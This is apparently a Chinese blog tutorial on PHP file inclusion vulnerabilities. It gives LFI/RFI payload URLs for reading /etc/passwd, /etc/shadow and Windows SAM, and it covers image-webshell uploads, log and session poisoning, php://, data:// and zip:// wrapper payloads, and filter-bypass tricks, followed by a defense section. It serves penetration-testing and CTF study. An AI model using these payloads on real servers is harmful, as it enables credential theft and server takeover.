大家好,我是皮皮宋~
今天聊 Web 渗透里的 "万金油漏洞"------文件包含漏洞!它既能读服务器敏感文件,又能配合文件上传执行木马,还能通过伪协议绕过防护,是 CTF 和实战中高频出现的漏洞类型。
我从 "基础概念→本地 / 远程包含→伪协议利用→绕过技巧→防御方案" 全拆解,全程带实操案例,新手也能一步步学会怎么挖、怎么利用!

一、文件包含漏洞核心:一句话讲透
和 SQL 注入一样,文件包含是代码注入型漏洞,本质是:
开发人员让用户控制 "要包含的文件路径",且未做严格过滤,攻击者通过修改路径,让服务器执行任意文件(本地 / 远程),甚至执行恶意代码。
1.1 先懂:什么是 "文件包含"?
以 PHP 为例,把可复用的代码写在单独文件里,用include()/require()调用这个文件,就是 "包含"------ 比如include("func.php"),直接复用 func.php 里的函数。
1.2 漏洞产生的关键
用户能控制包含的文件路径(比如include($_GET['file'])),且未过滤../、协议、特殊字符,导致攻击者可自定义路径。
1.3 PHP 核心包含函数(必认)
| 函数 | 特点 |
|---|---|
include() |
找不到文件仅报警告,脚本继续执行 |
include_once() |
与 include 一致,但文件只包含一次 |
require() |
找不到文件报致命错误,脚本停止 |
require_once() |
与 require 一致,但文件只包含一次 |
💡 核心特性:这些函数不校验文件后缀!哪怕是.jpg/.txt 文件,只要里面有 PHP 代码,都会被解析执行。
1.4 代码演示:后缀不影响解析
-
创建phpinfo.php,内容,用include()调用→正常解析;
-
改后缀为phpinfo.txt/phpinfo.jpg,再包含→依然解析 PHP 代码;
-
若文件内容是普通文本(如hello world),包含后直接显示文本。
✅ 结论:只要有文件包含漏洞,上传一张 "图片马"(jpg 里藏 PHP 木马),就能被当作 PHP 文件执行!
二、本地文件包含(LFI):读服务器本地文件
能打开 / 包含服务器本地文件的漏洞,就是 LFI,核心是 "构造路径读敏感文件"。
2.1 实战演示:读系统敏感文件
测试代码(无过滤):
<?php
$file = $_GET['file'];
include($file);
?>
(1)绝对路径读取
直接写文件完整路径:
http://xxx.com/test.php?file=C:\Windows\system.ini
Windowshttp://xxx.com/test.php?file=/etc/passwd # Linux
(2)相对路径读取
用../回退目录(跨平台通用):
-
当前路径:C:\Apache24\htdocs\
-
读C:\windows\system.ini:../../windows/system.ini
2.2 高频敏感文件路径(收藏!)
Windows 系统
-
C:\boot.ini → 查看系统版本
-
C:\windows\repair\sam→ 存储系统初始密码
-
C:\ProgramFiles\mysql\my.ini → MySQL 配置
-
C:\windows\php.ini → PHP 配置
Linux/Unix 系统
-
/etc/passwd → 账户信息
-
/etc/shadow→ 账户密码(加密)
-
/usr/local/app/php5/lib/php.ini→ PHP 配置
-
/etc/httpd/conf/httpd.conf→ Apache 配置
三、LFI 漏洞利用技巧(实战必学)
3.1 配合文件上传(最常用)
找不到直接的文件上传漏洞?先传 "图片马",再用 LFI 解析:
步骤(DVWA Low 级别为例):
-
制作图片马:新建shell.jpg,内容;
-
上传图片马,记录存储路径(如/upload/shell.jpg);
-
构造 LFI URL:http://xxx.com/fi.php?file=../../upload/shell.jpg;
-
用蚁剑 / 菜刀连接,密码cmd→拿到 webshell。
3.2 包含 Apache 日志文件(无上传点时用)
服务器会记录请求日志(access.log/error.log),攻击者可往日志里写 PHP 代码,再包含日志文件执行。
利用条件:
-
能读取日志文件;
-
知道日志存储路径(默认/var/log/apache2/access.log)。
步骤:
-
用 Burp 抓包,修改请求头 / URL,写入 PHP 代码(如);
-
日志会记录该请求,把 PHP 代码写入日志;
-
构造 LFI:http://xxx.com/test.php?file=/var/log/apache2/access.log→执行日志里的 PHP 代码。
3.3 包含 SESSION 文件
利用条件:
-
找到 SESSION 里的可控变量;
-
知道 SESSION 存储路径(phpinfo 里的session.save_path,默认/tmp/sess_xxx)。
核心思路:
往 SESSION 里写入 PHP 代码→包含 SESSION 文件→执行代码。
3.4 包含临时文件(条件竞争)
PHP 上传文件时会生成临时文件(Linux/tmp、WindowsC:\windows\temp),在临时文件被删除前,通过 "时间竞争" 包含它。
四、远程文件包含(RFI):加载远程恶意文件
当 PHP 配置allow_url_include=On、allow_url_fopen=On时,include()能加载远程服务器文件,就是 RFI。
4.1 实战演示:加载远程 PHP 文件
-
攻击者 VPS 新建test.php,内容;
-
构造 RFI URL:http://xxx.com/test.php?file=http://你的VPSIP/test.php;
-
服务器会加载并执行 VPS 上的test.php→若为木马,直接控制服务器。
4.2 截断技巧(路径后加后缀时用)
若代码自动给路径加后缀(如include($file . ".php")),可通过截断绕过:
-
%00截断:PHP<5.3.4 可用(?file=http://VPSIP/test.php );
-
?截断:服务器把?后当作参数(?file=http://VPSIP/test.php?)。
五、PHP 伪协议:文件包含的 "万能钥匙"
PHP 内置了多种协议,可绕过过滤、读取源码、执行代码,是文件包含的核心利用手段!
5.1 file://协议(读本地文件)
不受allow_url_fopen/allow_url_include限制,直接读本地文件:
http://xxx.com/test.php?file=file:///etc/passwd
http://xxx.com/test.php?file=file://C:\windows\system.ini
5.2 php://协议(核心!)
(1)php://filter:读取 PHP 源码(base64 编码)
直接包含 PHP 文件会执行代码,看不到源码→用 base64 编码读取:
http://xxx.com/test.php?file=php://filter/convert.base64-encode/resource=index.php
拿到 base64 编码后,解码即可看到index.php完整源码。
(2)php://input:执行 POST 里的 PHP 代码
利用条件:allow_url_include=On
步骤:
-
Burp 抓包,POST 内容写 PHP 代码(如);
-
发送请求→服务器执行 POST 里的代码,直接写入木马。
5.3 zip://协议(读取压缩包内文件)
利用条件:
-
压缩包为 zip 格式(后缀可改,如.jpg/.txt);
-
用#分割压缩包和内部文件(URL 编码为%23);
-
需绝对路径。
POC:
http://xxx.com/test.php?file=zip://C:\upload\shell.zip%23shell.php
(shell.zip里包含shell.php木马,后缀可改为shell.jpg绕过上传过滤)
5.4 data://协议(直接执行 PHP 代码)
利用条件:allow_url_fopen=On+allow_url_include=On
POC:
http://xxx.com/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
(base64 解码后是,直接执行)
5.5 伪协议利用条件小结
| 协议 | allow_url_fopen | allow_url_include | 用途 |
|---|---|---|---|
file:// |
任意 | 任意 | 读本地文件 |
php://filter |
任意 | 任意 | 读源码(base64) |
php://input |
任意 | On | 执行 POST 代码 |
zip:// |
任意 | 任意 | 读压缩包内文件 |
data:// |
On | On | 执行代码 |
http:// |
On | On | 远程文件包含 |
六、文件包含漏洞绕过技巧(突破防护)
网站会过滤../、协议、特殊字符,记这 6 个实用绕过方法:
6.1 URL 编码绕过
对../、协议名多次 URL 编码(如../→%2e%2e%2f→%252e%252e%252f),绕过字符串匹配的 WAF。
6.2 特殊字符绕过
-
用 Shell 通配符:/etc/passwd→/etc/pass?、/etc/*asswd;
-
用?/#截断路径后缀;
-
用 Unicode 相似字符:/(全角)替代/(半角)。
6.3 %00截断
条件:magic_quotes_gpc=Off+ PHP<5.3.4,截断路径后多余字符。
6.4 长度截断
-
Windows:文件路径最长 259 字节,用./././...填满路径,截断后续字符;
-
Linux:文件名最长 255 字节,同理构造超长路径。
6.5 伪协议绕过
用php://filter/zip://替代直接路径,绕过 "禁止远程包含""过滤../"。
6.6 协议绕过
allow_url_fopen/allow_url_include仅限制http:///ftp://,可改用SMB:///WebDav://加载远程文件。
七、文件包含漏洞防御:从根源杜绝
核心思路:不让用户控制包含路径 + 限制包含范围 + 禁用危险功能!
-
输入过滤:用str_replace()过滤../、\、伪协议(php://、file://)等危险字符;
-
白名单验证:只允许包含指定文件(如$allow = ["func.php","head.php"];),不在白名单则拒绝;
-
限制目录:配置open_basedir,将 PHP 能打开的文件限制在指定目录(如open_basedir = /var/www/html/);
-
禁用远程包含:php.ini 设置allow_url_include = Off;
-
升级 PHP 版本:修复%00截断等老漏洞;
-
文件重命名:上传的文件随机重命名,避免被精准包含;
-
固定包含路径:尽量不用动态包含(如include("head.php"),而非include($_GET['file']));
-
最小权限:运行 PHP 的账号仅赋予必要权限,即使被包含也无法读敏感文件。
💡 今天小结
文件包含漏洞的核心是 "可控的包含路径 + 未过滤的输入",新手学习路径:
-
先认包含函数和敏感路径;
-
练 LFI 读文件、配合上传执行木马;
-
掌握php://filter/php://input等伪协议;
-
学绕过技巧,突破常见防护。
它和文件上传、代码执行漏洞联动性极强,学会了能解决 80% 的 "拿 shell" 场景!